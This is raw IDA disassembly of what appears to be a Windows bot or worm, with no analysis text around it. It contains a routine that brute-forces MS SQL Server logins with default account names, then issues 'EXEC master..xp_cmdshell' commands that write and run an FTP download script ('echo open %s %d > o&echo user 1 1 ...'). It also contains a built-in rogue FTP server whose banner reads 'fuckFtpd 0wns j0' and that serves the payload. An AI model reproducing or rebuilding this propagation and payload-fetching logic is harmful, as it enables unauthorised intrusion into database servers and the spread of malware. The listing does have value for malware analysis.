		jz	short loc_404C93
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C77
		mov	eax, offset dword_421258

loc_404C77:				; CODE XREF: sub_404BCE+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4155D0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_404C93:				; CODE XREF: sub_404BCE+4Aj
					; sub_404BCE+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C9C	proc near		; CODE XREF: sub_4046AA+3Dp
					; sub_404B1E+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404CAE
		call	sub_41FDB0

loc_404CAE:				; CODE XREF: sub_404C9C+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_404CD7
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_404CD7
		cmp	al, 0FFh
		jz	short loc_404CD7
		cmp	edi, edx
		jnz	short loc_404D12
		dec	al
		push	edx
		mov	[ecx-1], al

loc_404CCC:				; CODE XREF: sub_404C9C+47j
		mov	ecx, esi
		call	sub_404D21

loc_404CD3:				; CODE XREF: sub_404C9C+4Bj
					; sub_404C9C+52j
		xor	al, al
		jmp	short loc_404D1C
; ---------------------------------------------------------------------------

loc_404CD7:				; CODE XREF: sub_404C9C+19j
					; sub_404C9C+20j ...
		cmp	edi, edx
		jnz	short loc_404CF0
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CE5
		push	1
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------

loc_404CE5:				; CODE XREF: sub_404C9C+43j
		cmp	ecx, edx
		jz	short loc_404CD3
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404CD3
; ---------------------------------------------------------------------------

loc_404CF0:				; CODE XREF: sub_404C9C+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404D0D
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404D02
		cmp	eax, edi
		jnb	short loc_404D1A

loc_404D02:				; CODE XREF: sub_404C9C+60j
		push	1
		mov	ecx, esi
		call	sub_404D21
		jmp	short loc_404D12
; ---------------------------------------------------------------------------

loc_404D0D:				; CODE XREF: sub_404C9C+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404D1A

loc_404D12:				; CODE XREF: sub_404C9C+28j
					; sub_404C9C+6Fj
		push	edi
		mov	ecx, esi
		call	sub_404DF9

loc_404D1A:				; CODE XREF: sub_404C9C+64j
					; sub_404C9C+74j
		mov	al, 1

loc_404D1C:				; CODE XREF: sub_404C9C+39j
		pop	edi
		pop	esi
		retn	8
sub_404C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D21	proc near		; CODE XREF: sub_4046AA+1Fp
					; sub_4046AA+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D4D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D4D
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_404D46
		cmp	al, 0FFh
		jz	short loc_404D46
		dec	al
		mov	[ecx], al
		jmp	short loc_404D4D
; ---------------------------------------------------------------------------

loc_404D46:				; CODE XREF: sub_404D21+19j
					; sub_404D21+1Dj
		push	ecx
		call	sub_416477
		pop	ecx

loc_404D4D:				; CODE XREF: sub_404D21+8j
					; sub_404D21+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D5D	proc near		; CODE XREF: .nsp0:00404A45p
					; sub_404EB6+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404D8B
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_404D8B:				; CODE XREF: sub_404D5D+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D92	proc near		; CODE XREF: sub_404BCE+39p
					; sub_404BCE+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404DA5
		call	sub_41FFDC

loc_404DA5:				; CODE XREF: sub_404D92+Cj
		mov	ecx, edi
		call	sub_404EB6
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404DBB
		mov	ebx, eax

loc_404DBB:				; CODE XREF: sub_404D92+25j
		test	ebx, ebx
		jbe	short loc_404DF1
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416490
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C9C
		test	al, al
		jz	short loc_404DF1
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404DF1:				; CODE XREF: sub_404D92+2Bj
					; sub_404D92+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DF9	proc near		; CODE XREF: sub_404C9C+79p
		mov	eax, offset loc_42028C
		call	sub_416458
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404E1F
		mov	edi, [ebp+8]

loc_404E1F:				; CODE XREF: sub_404DF9+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404E2C
		xor	eax, eax

loc_404E2C:				; CODE XREF: sub_404DF9+2Fj
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------

loc_404E38:				; DATA XREF: .nsp0:00421F0Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E47
		xor	eax, eax

loc_404E47:				; CODE XREF: sub_404DF9+4Aj
		push	eax
		call	sub_4167C5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E57
		retn
; ---------------------------------------------------------------------------

loc_404E57:				; DATA XREF: sub_404DF9+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_404E5D:				; CODE XREF: sub_404DF9+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E7B
		cmp	eax, edi
		jbe	short loc_404E6A
		mov	eax, edi

loc_404E6A:				; CODE XREF: sub_404DF9+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4155D0
		add	esp, 0Ch

loc_404E7B:				; CODE XREF: sub_404DF9+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404D21
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E9B
		mov	edi, ebx

loc_404E9B:				; CODE XREF: sub_404DF9+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EB6	proc near		; CODE XREF: sub_404D92+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EE3
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EE3
		cmp	al, 0FFh
		jz	short loc_404EE3
		push	1
		call	sub_404D21
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D5D

loc_404EE3:				; CODE XREF: sub_404EB6+9j
					; sub_404EB6+10j ...
		pop	edi
		pop	esi
		retn
sub_404EB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EE6	proc near		; DATA XREF: .nsp0:00423008o
		test	byte_46979C, 1
		jnz	short loc_404EF6
		or	byte_46979C, 1

loc_404EF6:				; CODE XREF: sub_404EE6+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_404EE6	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F08	proc near		; CODE XREF: .nsp0:00405188p

var_E3C		= byte ptr -0E3Ch
var_A3C		= byte ptr -0A3Ch
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E3Ch
		mov	al, byte_438FDC
		push	esi
		mov	[ebp+var_1], al
		push	edi
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], offset aRoot ; "root"
		mov	[ebp+var_34], offset aAdmin ; "admin"
		mov	[ebp+var_30], offset aAdministrator ; "administrator"
		mov	[ebp+var_2C], offset aAdministrador ; "administrador"
		mov	[ebp+var_28], offset aAdministrater ; "administrater"
		mov	[ebp+var_24], offset aAdmins ; "admins"
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	dword_43A33C
		test	ax, ax
		jnz	short loc_404F84
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	dword_43A440
		test	ax, ax
		jz	short loc_404F8B

loc_404F84:				; CODE XREF: sub_404F08+63j
		xor	eax, eax
		jmp	loc_405164
; ---------------------------------------------------------------------------

loc_404F8B:				; CODE XREF: sub_404F08+7Aj
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	dword_43A33C
		test	ax, ax
		jnz	loc_405157
		test	esi, esi
		push	ebx
		jz	loc_405148
		mov	edi, dword_421060
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_C], eax
		mov	ebx, offset byte_42C1FC

loc_404FBD:				; CODE XREF: sub_404F08+1EBj
		cmp	off_42C37C, 0
		jz	loc_4050E7
		mov	eax, offset off_42C37C
		mov	esi, eax

loc_404FD1:				; CODE XREF: sub_404F08+13Ej
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A3C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E3C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	dword_43A3F4
		test	ax, ax
		jz	short loc_40504D
		cmp	ax, 1
		jz	short loc_40504D
		push	1F4h
		call	edi
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404FD1
		jmp	loc_4050E7
; ---------------------------------------------------------------------------

loc_40504D:				; CODE XREF: sub_404F08+127j
					; sub_404F08+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	dword_43A33C
		push	ebx
		push	ebx
		call	sub_415543
		push	eax
		call	sub_415543
		push	eax
		push	dword_438FFC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_4154E7
		add	esp, 20h
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43A37C
		test	ax, ax
		jz	short loc_4050DC
		mov	esi, 1388h
		push	esi
		call	edi
		push	ebx
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43A37C
		test	ax, ax
		jz	short loc_4050F8
		push	esi
		call	edi

loc_4050DC:				; CODE XREF: sub_404F08+19Bj
		push	[ebp+var_8]
		push	3
		call	dword_43A3D4

loc_4050E7:				; CODE XREF: sub_404F08+BCj
					; sub_404F08+140j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_405148
		jmp	loc_404FBD
; ---------------------------------------------------------------------------

loc_4050F8:				; CODE XREF: sub_404F08+1CFj
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_405126
		push	0
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_405126:				; CODE XREF: sub_404F08+1FEj
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_405148:				; CODE XREF: sub_404F08+9Ej
					; sub_404F08+1E9j
		push	[ebp+var_10]
		push	2
		call	dword_43A3D4
		mov	edi, [ebp+var_18]
		pop	ebx

loc_405157:				; CODE XREF: sub_404F08+95j
		push	[ebp+var_14]
		push	1
		call	dword_43A3D4
		mov	eax, edi

loc_405164:				; CODE XREF: sub_404F08+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_404F08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F08
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051BC	proc near		; CODE XREF: .nsp0:004053BAp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3F8
		mov	[ebp+var_C], eax
		mov	ax, word_426710
		push	eax
		call	dword_43A3B8
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43A438
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4052D5
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jz	loc_4052D5
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3D0
		mov	esi, offset byte_42C1FC
		push	esi
		push	esi
		push	dword_438FFC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4052D5
		push	1F4h
		call	dword_421060
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4052D9

loc_4052D5:				; CODE XREF: sub_4051BC+51j
					; sub_4051BC+67j ...
		xor	al, al
		jmp	short loc_4052F7
; ---------------------------------------------------------------------------

loc_4052D9:				; CODE XREF: sub_4051BC+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3D0
		push	ebx
		call	dword_43A450
		mov	al, 1

loc_4052F7:				; CODE XREF: sub_4051BC+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4051BC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	dword_4211C8
		mov	esi, eax
		test	esi, esi
		jnz	short loc_405326
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4211D8
		mov	ebx, eax
		jmp	short loc_40532C
; ---------------------------------------------------------------------------

loc_405326:				; CODE XREF: .nsp0:00405316j
		mov	ebx, [ebp+0C0h]

loc_40532C:				; CODE XREF: .nsp0:00405324j
		push	11h
		push	2
		push	2
		call	dword_4211E0
		test	esi, esi
		mov	edi, eax
		jz	short loc_405356
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	short loc_405359
; ---------------------------------------------------------------------------

loc_405356:				; CODE XREF: .nsp0:0040533Cj
		mov	[ebp-0Ch], ebx

loc_405359:				; CODE XREF: .nsp0:00405354j
		test	esi, esi
		jz	short loc_405367
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_40536D
; ---------------------------------------------------------------------------

loc_405367:				; CODE XREF: .nsp0:0040535Bj
		mov	word ptr [ebp-10h], 2

loc_40536D:				; CODE XREF: .nsp0:00405365j
		push	598h
		call	dword_4211DC
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	dword_4211E4
		test	eax, eax
		jnz	short loc_4053F2
		push	eax
		push	152h
		push	offset dword_4265BC
		push	edi
		call	dword_4211EC
		push	3E8h
		call	dword_421060
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4051BC
		add	esp, 0BCh
		test	al, al
		jz	short loc_4053CE
		push	1
		pop	eax
		jmp	short loc_405404
; ---------------------------------------------------------------------------

loc_4053CE:				; CODE XREF: .nsp0:004053C7j
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]
		jmp	short loc_405402
; ---------------------------------------------------------------------------

loc_4053F2:				; CODE XREF: .nsp0:0040538Bj
		push	1
		push	edi
		call	dword_4211CC
		push	edi
		call	dword_4211F0

loc_405402:				; CODE XREF: .nsp0:004053F0j
		xor	eax, eax

loc_405404:				; CODE XREF: .nsp0:004053CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405409	proc near		; DATA XREF: sub_407276+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	dword_4211B0
		push	edi
		call	sub_416AD4
		push	eax
		call	sub_415539
		push	0FA00h
		push	471h
		call	sub_414098
		add	esp, 10h
		mov	dword_438FFC, eax
		push	edi
		push	ebx
		push	2
		call	dword_4211E0
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_4211B4
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4211B8
		mov	ax, word ptr dword_438FFC
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_4211DC
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_4211BC
		test	eax, eax
		jge	short loc_4054DE
		mov	eax, ebx
		jmp	loc_405A05
; ---------------------------------------------------------------------------

loc_4054DE:				; CODE XREF: sub_405409+CCj
		push	0Ah
		push	esi
		call	dword_4211C0
		mov	[ebp+var_228], ebx
		mov	ebx, dword_4211EC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi

loc_4054FC:				; CODE XREF: sub_405409+12Cj
					; sub_405409+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4211D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405A02
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054FC

loc_405537:				; CODE XREF: sub_405409+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_420106
		test	eax, eax
		jz	loc_4059F0
		cmp	edi, [ebp+var_C]
		jnz	short loc_4055EE
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	dword_4211C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059F0
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_4055B8
		lea	edx, [ebp+var_224]

loc_4055A8:				; CODE XREF: sub_405409+1ADj
		cmp	[edx], eax
		jz	short loc_4055B8
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_4055A8

loc_4055B8:				; CODE XREF: sub_405409+197j
					; sub_405409+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055D6
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055D6
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]

loc_4055D6:				; CODE XREF: sub_405409+1B5j
					; sub_405409+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055DE
		mov	[ebp+var_4], eax

loc_4055DE:				; CODE XREF: sub_405409+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx
		jmp	loc_4059F0
; ---------------------------------------------------------------------------

loc_4055EE:				; CODE XREF: sub_405409+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_4211E8
		test	eax, eax
		jg	short loc_405655
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_405649
		lea	eax, [ebp+var_224]

loc_405615:				; CODE XREF: sub_405409+216j
		cmp	[eax], edi
		jz	short loc_405623
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_405615
		jmp	short loc_405649
; ---------------------------------------------------------------------------

loc_405623:				; CODE XREF: sub_405409+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405643
		lea	eax, [ebp+ecx*4+var_224]

loc_40562F:				; CODE XREF: sub_405409+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40562F

loc_405643:				; CODE XREF: sub_405409+21Dj
		dec	[ebp+var_228]

loc_405649:				; CODE XREF: sub_405409+204j
					; sub_405409+218j
		push	edi
		call	dword_4211F0
		jmp	loc_4059F0
; ---------------------------------------------------------------------------

loc_405655:				; CODE XREF: sub_405409+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405699
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405699:				; CODE XREF: sub_405409+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056BD
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_4056BD:				; CODE XREF: sub_405409+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E1
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_4056E1:				; CODE XREF: sub_405409+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405705
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405705:				; CODE XREF: sub_405409+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_426918
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
